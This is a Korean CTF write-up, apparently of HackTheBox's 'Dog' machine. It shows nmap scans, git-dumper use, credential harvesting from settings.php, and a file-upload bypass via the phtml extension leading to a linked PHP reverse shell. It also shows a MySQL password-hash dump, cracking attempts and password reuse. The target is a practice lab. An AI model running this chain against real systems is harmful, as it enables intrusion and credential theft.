[모의 해킹] HackTheBox - Dog Part 1
Dog
OS: Linux
취약점: Arbitrary File Upload, Git Repository 노출
노출된 Git 리포지토리를 통해 Backdrop CMS 관리자 계정을 탈취할 수 있고, 해당 계정으로 PHP 리버스쉘을 업로드해서 접근할 수 있다.
포트 스캐닝
nmap -Pn -sS -p- 10.10.11.58
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
nmap -Pn -sC -sV -p 22,80 10.10.11.58
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
| 256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_ 256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-git:
| 10.10.11.58:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: todo: customize url aliases. reference:https://docs.backdro...
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
|_http-title: Home | Dog
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin
| /comment/reply /filter/tips /node/add /search /user/register
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP
http://10.10.11.58을 요청하면 해당 페이지가 반환된다.
About 탭에 접근해보자
About 페이지를 통해서 도메인이 dog.htb라는 것과 해당 웹 어플리케이션이 Backdrop CMS를 사용해서 제작되었다는 것을 확인할 수 있다.
Git Repository Dump
Service 스캐닝 결과를 보면 노출된 Git Repository를 볼 수 있다. Git Repository가 노출되면 공격자가 Repository를 덤핑해 소스 코드에 접근할 수 있다.
git-dumper를 사용해서 노출된 Repository를 덤핑하자. 노출된 Repository를 덤핑해서 웹 어플리케이션 서버 소스코드에 접근해고 디렉토리 구조를 파악할 수 있다. 이제 여러 키워드를 사용해서 민감한 파일이나 정보를 찾아보자.
┌─[solo@parrot]─[~/Desktop/hack]
└──╼ $git-dumper http://dog.htb ./git
"dog.htb" 키워드를 포함한 파일들을 조사해 보자. update.settings.json에 tiffany@dog.htb가 포함되어 있다. 이를 통해 tiffany라는 계정이 머신이나 도메인에 존재한다는 것을 확인할 수 있다.
┌─[solo@parrot]─[~/Desktop/hack/git]
└──╼ $grep -R dog.htb
구글링 결과 Backdrop CMS의 설정 파일이 settings.php라는 것을 확인할 수 있었다. settings.php 파일을 뒤져보면 MySQL 서버의 backdrop 데이터베이스에 root:BackDrop2024DS2024 계정 정보로 접근할 수 있다는 알 수 있다. 이를 통해 웹 서버 어플리케이션이 MySQL DBMS를 데이터베이스로 사용하고 있다는 점 역시 알 수 있다. 이런 계정 정보는 나중에 쓸 일이 있을 수도 있기 때문에 반드시 기록해두자.
┌─[solo@parrot]─[~/Desktop/hack/git]
└──╼ $cat settings.php
이번엔 로그인 페이지를 둘러보자. settings.php를 통해서 DBMS가 MySQL라는 것을 확인했으니 실제로 로그인이 어떻게 동작하는지 BurpSuite를 사용해서 알아보도록 하자.
BurpSuite를 사용해서 로그인 페이지가 대충 어떻게 동작하는지 확인할 수 있었다. 로그인 요청을 보내는 HTTP Post 요청을 확보했고 DBMS가 MySQL이니 SQL Injection을 시도해 볼 수 있을 것 같다.
┌─[solo@parrot]─[~/Desktop/blog/hack_dog_htb]
└──╼ $sqlmap -r request.file --dbms=mysql --dbs --level 3 --risk 3 --batch
SQL Injection을 시도하던 도중 앞서 획득한 tiffany@dog.htb와 root:BackDropJ2024DS2024 계정 정보를 종합해서 로그인을 할 수 있다는 것을 확인했다. (어차피 일정 횟수 이상 로그인이 실패하면 해당 IP를 차단하도록 설정이 되어 있어서 SQL Injection이 제대로 작동하지 않았다.)
User accounts 탭에서 사용자 정보를 수집하고 기록해두자.
Reports 탭에서 웹 어플리케이션 서버와 관련된 각종 정보를 수집할 수 있었다.
Content 탭 > Manage files > Add a file에서 파일을 업로드할 수 있다는 것을 확인했다. 하지만 파일 확장자를 whitelist 형식으로 제한을 걸어두는 방식으로 업로드 하는 파일을 필터링 했다.
조금 더 조사하다보니 Structure > File types > File types에서 설정할 수 있다는 것을 확인했다. PHP로 작성된 웹 서버 어플리케이션이기 때문에 PHP와 관련된 파일 확장자들을 추가해줬다. 특히 phtml은 아는 사람도 없고 잘 사용하지도 않는 PHP 파일 확장자라서 이런 경우 꼭 추가하고 확인하는 버릇이 있다.
다시 한번 파일 업로드를 시도해 보자. 업로드 된 파일들은 http://10.10.11.58/files에서 조회할 수 있다.
┌─[solo@parrot]─[~/Desktop/hack]
└──╼ $cat test.phtml
<?php echo "shell"; ?>
php, phar 확장자를 가진 파일들은 보안상 이유로 파일명에 txt 확장자가 추가되었다. 하지만 phtml은 txt 파일 확장자가 추가되지 않는 동시에 PHP 코드가 제대로 돌아갔다.덕분에 온갖 php 확장자를 업로드 해보는 노가다를 하지 않아도 됐다
그럼 이제 PHP 리버스쉘 스크립트를 사용해서 리버스쉘을 생성해보자.
나는 해당 PHP 리버스쉘 스크립트를 사용했다.
https://github.com/pentestmonkey/php-reverse-shell
GitHub - pentestmonkey/php-reverse-shell
Contribute to pentestmonkey/php-reverse-shell development by creating an account on GitHub.
github.com
shell.phtml을 업로드하고 http://10.10.11.58/files/shell.phtml을 요청해서 리버스쉘 생성을 시도했다. 하지만 pcntl_fork 함수가 존재하지 않는다는 결과를 반환했다. pcntl_fork 함수는 간단하게 말해서 Child Process를 생성하는 함수인데 PHP에는 리버스쉘을 만들 때 사용 가능한 새로운 소켓과 프로세스를 생성하는 함수들이 여럿있다. 보안상의 이유로 PHP는 사용자가 임의로 이런 함수 사용을 제한할 수 있다. 사용이 제한된 함수들은 PHP 정보는 반환하는 phpinfo 함수를 통해서 확인할 수 있다.
┌─[solo@parrot]─[~/Desktop/hack]
└──╼ $cat phpinfo.phtml
<?php phpinfo(); ?>
업로드한 phpinfo.phtml을 확인해 보자. disable_functions 항목에서 사용이 제한된 PHP 함수들을 조회할 수 있다. (pcntl_fork 함수가 포함되어 있는 것 역시 볼 수 있다) 그럼 이제 disable functions 항목에 포함되 있지 않은 함수를 사용해서 작성된 리버스쉘 스크립트를 작성하거나 찾아보자.
https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
이 스크립트의 소스코드를 확인해 보면 소켓을 생성하는 fsockopen, 새로운 프로세스를 생성하는 proc_open를 사용하는데 이 두 함수는 disable_functions에 포함되지 않은 함수들이다.
리버스쉘을 획득했지만 권한 부족 때문에 user.txt 파일에 접근할 수 없었다. 아까 획득한 root:BackDropJ2024DS2024 계정을 사용해서 MySQL 서버에 접근하고 사용자 정보를 추출해 보자.
www-data@dog:/$ mysql -u root -pBackDropJ2024DS2024 backdrop -e 'SELECT name,pass from users'
jPAdminB $S$E7dig1GTaGJnzgAXAtOoPuaTjJ05fo8fH9USc6vO87T./ffdEr/.
jobert $S$E/F9mVPgX4.dGDeDuKxPdXEONCzSvGpjxUeMALZ2IjBrve9Rcoz1
dogBackDropSystem $S$EfD1gJoRtn8I5TlqPTuTfHRBFQWL3x6vC5D3Ew9iU4RECrNuPPdD
john $S$EYniSfxXt8z3gJ7pfhP5iIncFfCKz8EIkjUD66n/OTdQBFklAji.
morris $S$E8OFpwBUqy/xCmMXMqFp3vyz1dJBifxgwNRMKktogL7VVk7yuulS
axel $S$E/DHqfjBWPDLnkOP5auHhHDxF4U.sAJWiODjaumzxQYME6jeo9qV
rosa $S$EsV26QVPbF.s0UndNPeNCxYEP/0z2O.2eLUNdKW/xYhg2.lsEcDT
tiffany $S$EEAGFzd8HSQ/IzwpqI79aJgRvqZnH4JSKLv2C83wUphw0nuoTY8v
MySQL 서버의 backdrop 데이터베이스에 저장된 비밀번호를 획득했다. 이제 해당 해시의 종류를 파악한 뒤 크래킹을 시도할 수 있다. (비밀번호 해시에서 $는 구분자이다. 여기서 첫 $S$는 해시의 종류, 이후 값들은 실제 해시값들이다)
┌─[solo@parrot]─[~/Desktop/hack]
└──╼ $john --show=formats hash
[{"lineNo":1,"ciphertext":"$S$E/F9mVPgX4.dGDeDuKxPdXEONCzSvGpjxUeMALZ2IjBrve9Rcoz1","rowFormats":[{"label":"Drupal7","prepareEqCiphertext":true,"canonHash":["$S$E/F9mVPgX4.dGDeDuKxPdXEONCzSvGpjxUeMALZ2IjBrve9Rcoz1"]}]},
{"lineNo":2,"rowFormats":[],"skipped":"lonely"}]
해당 해시들이 Drupal7 해시라는 것을 확인했다. 이제 크래킹을 진행해보자.
┌─[solo@parrot]─[~/Desktop/hack]
└──╼ $john --format=Drupal7 --wordlist=../wordlist/rockyou.txt hashes
┌─[✗]─[solo@parrot]─[~/Desktop/hack]
└──╼ $hashcat -m 7900 -d 1 hashes ../wordlist/rockyou.txt
해시 크래킹에 실패했다. 처음엔 John The Ripper를 사용해서 크랙하려고 했지만 크랙하지 못했고 그 다음엔 GPU를 사용해서 해시를 크래킹 하는 Hashcat을 사용했다. (John The Ripper는 GPU를 지원하지 않기 때문에 Hashcat보다 패스워드 크래킹하는 속도가 훨씬 느리다. John The Ripper가 Hashcat보다 나은 점은 사용이 훨씬 편하다는 점이다.) 하지만 결국 패스워드 크래킹에 실패했다.
다행히도 이것저것 시도하다가 이전에 획득했던 root:BackDropJ2024DS2024를 사용해서 또 다시 새로운 계정으로 로그인 할 수 있었다.
www-data@dog:/var/www$ ls /home
jobert
johncusack
www-data@dog:/var/www/html$ su johncusack
Password: BackDropJ2024DS2024
출시된지 하루 밖에 안된 따끈따근한 머신이다. 지금보면 별거 없지만 방향을 잘못 잡으면 삽질하기 딱 좋은 머신이다.특히 root:BackDropJ2024DS2024 계정 정보를 두번씩이나 우려먹을 줄 상상하지도 못했다;; 해킹해서 획득한 사용자 정보를 정말 소중하게 여기자
노출된 Git 리포지토리를 덤핑할 수 있고 확보한 소스코드에서 추가 공격에 활용할 수 있는 민감한 정보를 수집 + 활용할 수 있는 능력이 요구되는 머신이다.
다음편 바로가기
https://solo-infosec.tistory.com/8
[모의 해킹] HackTheBox - Dog Part 2
DogOS: Linux취약점: 취약한 Sudo 설정 취약한 Sudo 권한으로 실행한 바이너리 파일이 리버스쉘을 생성하도록 유도해서 root 권한을 가진 쉘을 만들 수 있다. SSH┌─[✗]─[solo@parrot]─[~/Desktop/hack/note]
solo-infosec.tistory.com